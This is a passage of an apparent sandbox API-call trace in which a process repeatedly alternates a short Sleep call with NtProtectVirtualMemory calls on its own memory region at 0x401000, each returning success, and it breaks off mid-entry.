0x0 [0275.644] Sleep (dwMilliseconds=0x5) [0275.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.691] Sleep (dwMilliseconds=0x5) [0275.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.783] Sleep (dwMilliseconds=0x5) [0275.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.832] Sleep (dwMilliseconds=0x5) [0275.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.878] Sleep (dwMilliseconds=0x5) [0275.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.953] Sleep (dwMilliseconds=0x5) [0276.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.003] Sleep (dwMilliseconds=0x5) [0276.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.068] Sleep (dwMilliseconds=0x5) [0276.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.119] Sleep (dwMilliseconds=0x5) [0276.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.167] Sleep (dwMilliseconds=0x5) [0276.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.215] Sleep (dwMilliseconds=0x5) [0276.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.273] Sleep (dwMilliseconds=0x5) [0276.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.335] Sleep (dwMilliseconds=0x5) [0276.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.375] Sleep (dwMilliseconds=0x5) [0276.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.426] Sleep (dwMilliseconds=0x5) [0276.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.470] Sleep (dwMilliseconds=0x5) [0276.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.534] Sleep (dwMilliseconds=0x5) [0276.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.580] Sleep (dwMilliseconds=0x5) [0276.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.630] Sleep (dwMilliseconds=0x5) [0276.676] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.677] Sleep (dwMilliseconds=0x5) [0276.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.731] Sleep (dwMilliseconds=0x5) [0276.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.784] Sleep (dwMilliseconds=0x5) [0276.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.855] Sleep (dwMilliseconds=0x5) [0276.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.908] Sleep (dwMilliseconds=0x5) [0277.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.072] Sleep (dwMilliseconds=0x5) [0277.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.125] Sleep (dwMilliseconds=0x5) [0277.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.199] Sleep (dwMilliseconds=0x5) [0277.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.315] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.316] Sleep (dwMilliseconds=0x5) [0277.350] Sleep (dwMilliseconds=0x5) [0277.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.405] Sleep (dwMilliseconds=0x5) [0277.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.469] Sleep (dwMilliseconds=0x5) [0277.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.575] Sleep (dwMilliseconds=0x5) [0277.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.668] Sleep (dwMilliseconds=0x5) [0277.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.711] Sleep (dwMilliseconds=0x5) [0277.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.762] Sleep (dwMilliseconds=0x5) [0277.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.805] Sleep (dwMilliseconds=0x5) [0277.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.857] Sleep (dwMilliseconds=0x5) [0277.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.900] Sleep (dwMilliseconds=0x5) [0277.949] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.950] Sleep (dwMilliseconds=0x5) [0277.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.992] Sleep (dwMilliseconds=0x5) [0278.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.055] Sleep (dwMilliseconds=0x5) [0278.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.107] Sleep (dwMilliseconds=0x5) [0278.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.154] Sleep (dwMilliseconds=0x5) [0278.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.196] Sleep (dwMilliseconds=0x5) [0278.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.249] Sleep (dwMilliseconds=0x5) [0278.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.294] Sleep (dwMilliseconds=0x5) [0278.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.337] Sleep (dwMilliseconds=0x5) [0278.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.389] Sleep (dwMilliseconds=0x5) [0278.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.434] Sleep (dwMilliseconds=0x5) [0278.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.477] Sleep (dwMilliseconds=0x5) [0278.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.533] Sleep (dwMilliseconds=0x5) [0278.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.617] Sleep (dwMilliseconds=0x5) [0278.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.670] Sleep (dwMilliseconds=0x5) [0278.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.715] Sleep (dwMilliseconds=0x5) [0278.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.766] Sleep (dwMilliseconds=0x5) [0278.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.838] Sleep (dwMilliseconds=0x5) [0278.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.888] Sleep (dwMilliseconds=0x5) [0278.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.931] Sleep (dwMilliseconds=0x5) [0278.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.980] Sleep (dwMilliseconds=0x5) [0279.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.029] Sleep (dwMilliseconds=0x5) [0279.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.106] Sleep (dwMilliseconds=0x5) [0279.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.153] Sleep (dwMilliseconds=0x5) [0279.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.201] Sleep (dwMilliseconds=0x5) [0279.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.244] Sleep (dwMilliseconds=0x5) [0279.290] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.291] Sleep (dwMilliseconds=0x5) [0279.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.332] Sleep (dwMilliseconds=0x5) [0279.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.392] Sleep (dwMilliseconds=0x5) [0279.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.435] Sleep (dwMilliseconds=0x5) [0279.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.477] Sleep (dwMilliseconds=0x5) [0279.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.520] Sleep (dwMilliseconds=0x5) [0279.568] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.568] Sleep (dwMilliseconds=0x5) [0279.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.617] Sleep (dwMilliseconds=0x5) [0279.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.660] Sleep (dwMilliseconds=0x5) [0279.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.708] Sleep (dwMilliseconds=0x5) [0279.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.757] Sleep (dwMilliseconds=0x5) [0279.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 